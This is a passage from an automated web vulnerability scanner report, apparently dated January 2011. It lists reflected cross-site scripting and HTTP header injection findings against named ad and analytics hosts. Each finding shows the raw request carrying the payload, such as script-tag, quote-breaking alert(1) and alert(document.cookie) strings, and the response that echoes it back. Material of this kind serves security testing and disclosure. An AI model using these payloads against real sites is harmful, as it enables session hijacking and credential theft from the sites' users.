HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFpb=1099:99487 1735d591256;expires=Thu, 20 Jan 2011 05: 00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:00:54 GMT;path=/;domain=.zedo.com; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=533 Expires: Wed, 19 Jan 2011 18:09:47 GMT Date: Wed, 19 Jan 2011 18:00:54 GMT Connection: close Content-Length: 2018
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat=',99487 1735 ...[SNIP]...
The value of REST URL parameter 2 is copied into the Location response header. The payload fab80%0d%0a7b239144ac4 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /deals/socialads_reflectorfab80%0d%0a7b239144ac4 HTTP/1.1 Host: livingsocial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 19 Jan 2011 18:10:17 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: http://partners.livingsocial.com/deals/socialads_reflectorfab80 7b239144ac4
<html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
4. Cross-site scripting (reflected)previousnext There are 364 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
4.1. http://ads.bluelithium.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ads.bluelithium.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d6da"-alert(1)-"f1f4da902d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=1x1§ion=1603038&9d6da"-alert(1)-"f1f4da902d6=1 HTTP/1.1 Host: ads.bluelithium.com Proxy-Connection: keep-alive Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=933;c=56;s=1;d=15;w=1;h=1;q=1099 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:00:03 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Cache-Control: no-store Last-Modified: Wed, 19 Jan 2011 18:00:03 GMT Pragma: no-cache Content-Length: 4636 Age: 0 Proxy-Connection: close
<html><head></head><body><script type="text/javascript">/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "iframe"; rm_url = "http://ads.bluelithium.com/imp?9d6da"-alert(1)-"f1f4da902d6=1&Z=1x1&s=1603038&_salt=3571184072";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new Array ...[SNIP]...
The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 125f6%0aalert(1)//47c7f0d831b was submitted in the url parameter. This input was echoed as 125f6 alert(1)//47c7f0d831b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gadgets/ifr?synd=ads&url=http%3A%2F%2Fwww.ljmsite.com%2Fgoogle%2Fgadgetads%2Fkayak2%2F728x90.xml125f6%0aalert(1)//47c7f0d831b&lang=en&country=US&up_clickurl=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBgKsxYCU3TenUF8qcqwGUz9mFBJbloLoB8IzKjxDAjbcBsNsGEAEYASCq9oUYOABQm9vQugFgyYajh9SjgBCgAcSR-u4DsgENd3d3LmxvY2FsLmNvbboBCTcyOHg5MF9hc8gBCdoBemh0dHA6Ly93d3cubG9jYWwuY29tL2RhcnQvP2FnPVRydWUmY3NzPWJhbm5lciZwPWxvY20uc3AmcG9zPTQmdD00JnN6PTcyOHg5MCZvcmQ9MTI5NTQ1OTcyNjE3MyZrPWxhdytvZmZpY2VzJmw9RGFsbGFzJTJDK1RY4AECuAIYyALmpc8XqAMB0QP5cQX6xDmFDPUDAAAAxMgEAQ%26num%3D1%26ggladgrp%3D10345345168030795840%26gglcreat%3D9988352204398423926%26sig%3DAGiWqtx_MMUhrwT9GMn6hHLnk8PZwdyM9g%26client%3Dca-pub-4103679352234073%26adurl%3D&up_aiturl=http://googleads.g.doubleclick.net/pagead/conversion/%3Fai%3DBgKsxYCU3TenUF8qcqwGUz9mFBJbloLoB8IzKjxDAjbcBsNsGEAEYASCq9oUYOABQm9vQugFgyYajh9SjgBCgAcSR-u4DsgENd3d3LmxvY2FsLmNvbboBCTcyOHg5MF9hc8gBCdoBemh0dHA6Ly93d3cubG9jYWwuY29tL2RhcnQvP2FnPVRydWUmY3NzPWJhbm5lciZwPWxvY20uc3AmcG9zPTQmdD00JnN6PTcyOHg5MCZvcmQ9MTI5NTQ1OTcyNjE3MyZrPWxhdytvZmZpY2VzJmw9RGFsbGFzJTJDK1RY4AECuAIYyALmpc8XqAMB0QP5cQX6xDmFDPUDAAAAxMgEAQ%26sigh%3Dc3WzeS_619k%26label%3D_AITNAME_%26value%3D_AITVALUE_&up_ads_clicktarget_new_=1&up_rawquery=las%20vegas%20hotel%20promotions&up_city=Washington&up_region=US-DC&up_lat=38.90&up_long=-77.04\ HTTP/1.1 Host: ads.gmodules.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 400 Bad Request P3P: CP="CAO PSA OUR" Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 18:05:28 GMT Expires: Wed, 19 Jan 2011 18:05:28 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
Unable to retrieve spec for http://www.ljmsite.com/google/gadgetads/kayak2/728x90.xml125f6 alert(1)//47c7f0d831b. HTTP error 400
The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 842ab'%3balert(1)//40a370322b1 was submitted in the h parameter. This input was echoed as 842ab';alert(1)//40a370322b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2DFE311&w=300&h=250842ab'%3balert(1)//40a370322b1 HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Referer: http://www.local.com/dart/?ag=True&p=locm.sp&pos=2&t=2&sz=300x250&ord=1295459726173&k=law+offices&l=Dallas%2c+TX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 19 Jan 2011 17:59:36 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2DFE311&rand=" + myRand;
The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a473c"%3balert(1)//5cda4ab509d was submitted in the pid parameter. This input was echoed as a473c";alert(1)//5cda4ab509d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2DFE311a473c"%3balert(1)//5cda4ab509d&w=300&h=250 HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Referer: http://www.local.com/dart/?ag=True&p=locm.sp&pos=2&t=2&sz=300x250&ord=1295459726173&k=law+offices&l=Dallas%2c+TX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 19 Jan 2011 17:59:28 GMT
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2DFE311a473c";alert(1)//5cda4ab509d&rand=" + myRand;
The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b68a5'%3balert(1)//ef73ca3b12e was submitted in the w parameter. This input was echoed as b68a5';alert(1)//ef73ca3b12e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2DFE311&w=300b68a5'%3balert(1)//ef73ca3b12e&h=250 HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Referer: http://www.local.com/dart/?ag=True&p=locm.sp&pos=2&t=2&sz=300x250&ord=1295459726173&k=law+offices&l=Dallas%2c+TX Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 19 Jan 2011 17:59:32 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2DFE311&rand=" + myRand;
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 56c1b<script>alert(1)</script>1d321066f7f was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=256c1b<script>alert(1)</script>1d321066f7f&c2=6035786&c3=6035786&c4=&c5=&c6=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:23 GMT Date: Wed, 19 Jan 2011 17:59:23 GMT Connection: close Content-Length: 3587
The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload 33c9b<script>alert(1)</script>7d5427cace2 was submitted in the c15 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=&c6=&c15=33c9b<script>alert(1)</script>7d5427cace2&tm=919330 HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:36 GMT Date: Wed, 19 Jan 2011 17:59:36 GMT Connection: close Content-Length: 3581
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 90558<script>alert(1)</script>0af258cd0b5 was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=2&c2=603578690558<script>alert(1)</script>0af258cd0b5&c3=6035786&c4=&c5=&c6=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:24 GMT Date: Wed, 19 Jan 2011 17:59:24 GMT Connection: close Content-Length: 3587
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 26bb2<script>alert(1)</script>dadffb12f82 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=2&c2=6035786&c3=603578626bb2<script>alert(1)</script>dadffb12f82&c4=&c5=&c6=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:26 GMT Date: Wed, 19 Jan 2011 17:59:26 GMT Connection: close Content-Length: 3587
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload f09c8<script>alert(1)</script>b3efd23cef2 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=2&c2=6035786&c3=6035786&c4=f09c8<script>alert(1)</script>b3efd23cef2&c5=&c6=&c15= HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:29 GMT Date: Wed, 19 Jan 2011 17:59:29 GMT Connection: close Content-Length: 3587
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 77439<script>alert(1)</script>58583c10800 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=77439<script>alert(1)</script>58583c10800&c6=&c15=&tm=919330 HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:32 GMT Date: Wed, 19 Jan 2011 17:59:32 GMT Connection: close Content-Length: 3581
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 147af<script>alert(1)</script>202194faed4 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=&c6=147af<script>alert(1)</script>202194faed4&c15=&tm=919330 HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Vary: Accept-Encoding Cache-Control: private, no-transform, max-age=604800 Expires: Wed, 26 Jan 2011 17:59:34 GMT Date: Wed, 19 Jan 2011 17:59:34 GMT Connection: close Content-Length: 3581
The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload daf00'%3balert(1)//9a4146cf137 was submitted in the $ parameter. This input was echoed as daf00';alert(1)//9a4146cf137 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=daf00'%3balert(1)//9a4146cf137&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1
Response (redirected)
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFpb=1099:daf00';alert(1)//9a4146cf137;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=524 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:01:02 GMT Connection: close Content-Length: 1990
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat=',daf00';alert(1)//9a4146cf137';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=,daf00';alert(1)//9a4146cf137;z="+Math.random();}
The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e01e"%3balert(1)//82425b7431e was submitted in the $ parameter. This input was echoed as 1e01e";alert(1)//82425b7431e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=1e01e"%3balert(1)//82425b7431e&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1
Response (redirected)
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFpb=1099:1e01e";alert(1)//82425b7431e;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=524 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:01:02 GMT Connection: close Content-Length: 1990
